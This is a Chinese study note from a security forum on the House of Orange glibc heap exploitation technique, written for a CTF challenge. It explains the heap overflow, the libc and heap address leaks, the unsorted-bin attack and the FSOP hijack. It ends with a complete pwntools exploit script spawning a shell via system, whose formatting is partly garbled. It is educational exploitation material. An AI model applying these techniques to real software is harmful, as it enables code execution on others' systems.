堆溢出-House of orange 學習筆記
前幾天把House of orange
重新學習了一下,比照著glibc
0x00 程序描述
大名鼎鼎的house_of_orange
build
四次,然後每次build
的話就是3次堆分配,兩次malloc
,一次calloc
,其中一次malloc
是固定分配0x10
位元組作為控制堆塊,裡面存放著name
和color
的信息,另外按輸入分配name
的大小。
0x01 程序漏洞
1. 堆溢出
在upgrade
函數中,修改name
時候不顧實際chunk
的堆大小是多少,直接進行編輯,最大可編輯0x1000
大小,因而存在溢出。
0x02 漏洞利用
這裡的利用思路是4ngelboy
給出,下面就直接分析這樣利用的原因。
1. 信息泄露 (泄露libc地址)
因為程序中有堆的越界寫,可以修改top_chunk
的大小。在malloc源碼裡面如果申請的堆塊大小超過了top_chunk
的大小,將調用sysmalloc
來進行分配。
sysmalloc
裡面針對這種情況有兩種處理,一種是直接mmap
出來一塊內存,另一種是擴展top_chunk
/*If have mmap, and the request size meets the mmap threshold, andthe system supports mmap, and there are few enough currentlyallocated mmapped regions, try to directly map this requestrather than expanding top.*/if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&(mp_.n_mmaps < mp_.n_mmaps_max)){char *mm; /* return value from mmap call*/try_mmap:
就是如果申請大小>=mp_.mmap_threshold
,就會mmap
。我們質只要申請不要過大,一般不會觸發這個,這個mmap_threshold
的值為128*1024
。
assert
需要檢查,如下old_top = av->top;old_size = chunksize (old_top);old_end = (char *) (chunk_at_offset (old_top, old_size));brk = snd_brk = (char *) (MORECORE_FAILURE);/*If not the first time through, we require old_size to beat least MINSIZE and to have prev_inuse set.*/assert ((old_top == initial_top (av) && old_size == 0) ||((unsigned long) (old_size) >= MINSIZE &&prev_inuse (old_top) &&((unsigned long) old_end & pagemask) == 0));/* Precondition: not enough current space to satisfy nb request */assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
第一個assert
就是要求修改後的top_chunk_size
必須滿足
top_chunk_size
>MINSIZE(MINISIZE)沒有查到是多少,反正不要太小都行top_chunk
需要有pre_in_use的標誌,就是最後一個比特為1- 還有就是(old_end &pagemask ==0)
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
這裡沒有太深究,應該就是
第二個top_chunk
需要和原來的堆頁在一個頁上吧。assert
就是要求 top_chunk_size
小於申請分配的內存即可滿足以上四個條件之後,繼續往下執行最後把原先的那個old_top
給釋放掉了,如下
top (av) = chunk_at_offset (heap, sizeof (*heap));set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);/* Setup fencepost and free the old top chunk with a multiple ofMALLOC_ALIGNMENT in size. *//* The fencepost takes at least MINSIZE bytes, because it mightbecome the top chunk again later. Note that a footer is setup, too, although the chunk is marked in use. */old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);if (old_size >= MINSIZE){set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);_int_free (av, old_top, 1);
顯然,這樣的free
操作的話,我們就可以得到一個unsort_bin
,然後之後再次分配時候如果是符合unsort_bin
大小的話,就會從unsort_bin
裡面切出來。
這樣的話我們再次申請一個堆塊分配到這塊區域中就能泄露libc
地址了,但是這裡又有一個trick
,如果我們分配的大小是large_chunk
的話。malloc
源碼中還把old_top
的堆地址放到了堆裡面(沒有細究原因,但是好像是large bin沒有區分大小,需要有個欄位來保存大小的原因吧),源碼如下
所以如果再次分配時候如果分配大小為largebin
(也就是大於512位元組)的chunk
的話,就是可以既泄露libc
又可以泄露heap
。如下
而如果分配大小不到512位元組時候是無法泄露堆地址的。
2. 劫持流程
File Stream Oriented Programming
我們知道有rop
即retn Oriented Programming
,那麼其實File Stream Oriented Programming
是一個道理的。也是一種劫持程序流程的方法,只不過方式是通過攻擊File Stream
來實現罷了。
malloc
對錯誤信息的處理過程,malloc_printerr
是malloc
中用來列印錯誤的函數。malloc_printerr
其實是調用__libc_message
函數之後調用abort
函數,abort
函數其中調用了_IO_flush_all_lockp
,這裡面用到IO_FILE_ALL
裡面的結構,採用的是虛表調用的方式。
其中使用到了IO_FILE
對象中的虛表,如果我們能夠修改IO_FILE
的內容那麼就可以一定程度上劫持流程。
IO_FILE_ALL
是一個指向IO_FILE_plus
的結構指針,結構如下圖所示,具體結構不需要太了解清晰,大概懂一些也就行。那麼怎麼劫持呢,這裡又需要用到unsortbin attack
的知識。
unsortbin attack
是怎麼一回事呢,其實就是在malloc
的過程中,unsortbin
會從鏈表上卸下來(只要分配的大小不是fastchunk
大小)如上代碼所示,就是會把bk+0x10
的地方寫入本unsort_bin的地址,
我們通過內存斷點來觀察一下是如何進行的。
斷點觸發之後,發現io_file_all
被修改成了指向top_chunk
的指針時間地址位於main_arena
。但是我們是無法控制main_arena
的內容的,至少全部控制是不行的,那麼怎麼處理呢?
io_file
的使用,IO_FILE
結構中有一個欄位是chian
欄位,它位於0x60偏移處,他指向的是下一個IO_FILE
結構體,我們如果可以控制這個欄位,就再次指定io_file
的位置,它相當於是一個鏈表的結構這樣的話又聯繫到smallchunk
的問題,在拆卸unsort_bin時候對屬於small_bin
的chunk進行了記錄操作。這個時候IO_FILE_all
指向的正是main_arena
的bins裡面unsortbin
的位置,那麼偏移0x60
處正好是,smallchunk
的index為6的地方,也就是滿足大小為16*6
的chunk,所以upgrade
時候需要把unsortbin
設置為0x60
大小。while (fp != NULL){…fp = fp->_chain;...if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base))#endif)&& _IO_OVERFLOW (fp, EOF) == EOF)
因為第一個分配在main_arena
的IO_FILE_plus
結構的fp->mode
等值不符合要求,就會通過chains
跳轉到就下一個IO_FILE_plus
就是我們之前設置的unsortbin
,然後需要滿足一下條件
- fp->mode>0
- _IO_vtable_offset (fp) ==0
- fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base這裡的話我就是把wide_data的
IO_wirte_ptr
就指向read_end
就可以,然後就會調用虛表+0x18偏移處的函數了。
0xFE 利用exp
#coding:utf-8from zio import *from pwn import *import mypwndef menu(io,choice): io.read_until(Your choice :)io.writeline(str(choice))def build(io,len,name,price,color):menu(io,1)io.read_until(name :)io.writeline(str(len))io.read_until(Name :)io.write(name)io.read_until(Price of Orange:) io.writeline(str(price))io.read_until( Orange:)io.writeline(str(color))def see(io):menu(io,2)def upgrade(io,nlen,nname,nprice,ncolor):menu(io,3)io.read_until(name :)io.writeline(str(nlen))io.read_until(Name:)io.write(nname)io.read_until(Price of Orange:)io.writeline(str(nprice))io.read_until( Orange:)io.writeline(str(ncolor))if __name__ == __main__:binary_path = "./houseoforange"r_m = COLORED(RAW, "green")w_m = COLORED(RAW, "blue")target = binary_pathbin=ELF(binary_path)io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)if target==binary_path:l=ELF("/lib/x86_64-linux-gnu/libc.so.6")offset_main_arena=l.symbols[__malloc_hook]+0x20else:pass#l=ELF("")#offset_main_arenabuild(io,0x80,simp1e,0x1234,0xddaa)fake_color=p32(666)+p32(0xddaa)overflow_name=a*0x90+fake_color+p64(0)*2+p64(0xf31)upgrade(io,0xb1,overflow_name,666,0xddaa)build(io,0x1000,1+
,0x1234,0xddaa)build(io,0x400,"a"*8,199,2)see(io)io.read_until(Name of house : +a*8)data=io.read_until(
)[:-1]io.gdb_hint()heap_ptr=mypwn.uu64(data)real_main_arena=heap_ptr-0x668mypwn.log(heap_ptr,heap_ptr)mypwn.log(real_main_arena,real_main_arena)libc_base=real_main_arena-offset_main_arenareal_system=libc_base+l.symbols[system]upgrade(io,0x400,"b"*0x10,666,2)see(io)io.read_until(Name of house : +b*0x10)data=io.read_until(
)[:-1]heap_ptr=mypwn.uu64(data)mypwn.log(heap_ptr,heap_ptr)mypwn.log(_IO_list_all,l.symbols[_IO_list_all])io_list_all=libc_base+l.symbols[_IO_list_all]vtable_addr=heap_ptr + 0x530-8payload="x"*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)fake_chunk=/bin/shx00+p64(0x61)#why ? io_file?fake_chunk+=p64(0xddaa)+p64(io_list_all-0x10)fake_chunk=fake_chunk.ljust(0xa0,x00)fake_chunk+=p64(heap_ptr+0x420)fake_chunk=fake_chunk.ljust(0xc0,x00)fake_chunk+=p64(1)payload+=fake_chunkpayload += p64(0)payload += p64(0)payload += p64(vtable_addr)payload += p64(1)payload += p64(2)payload += p64(3) payload += p64(0)*3 # vtablepayload += p64(real_system)upgrade(io,0x800,payload,666,2)io.interact()
0xff 參考資料
- http://4ngelboy.blogspot.ca/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
- http://www.cnblogs.com/shangye/p/6268981.html
- https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
本文由看雪論壇 simSimple原創 轉載請註明來自看雪社區
推薦閱讀:
※補天眾測第一人:月入24萬是一種怎樣的體驗
※白帽子挖洞—靶場及白帽子守則篇
※紀念首期兩個用Pinpoint找到的CVE
※漏洞之我觀
※Geneko路由器無需認證目錄遍歷漏洞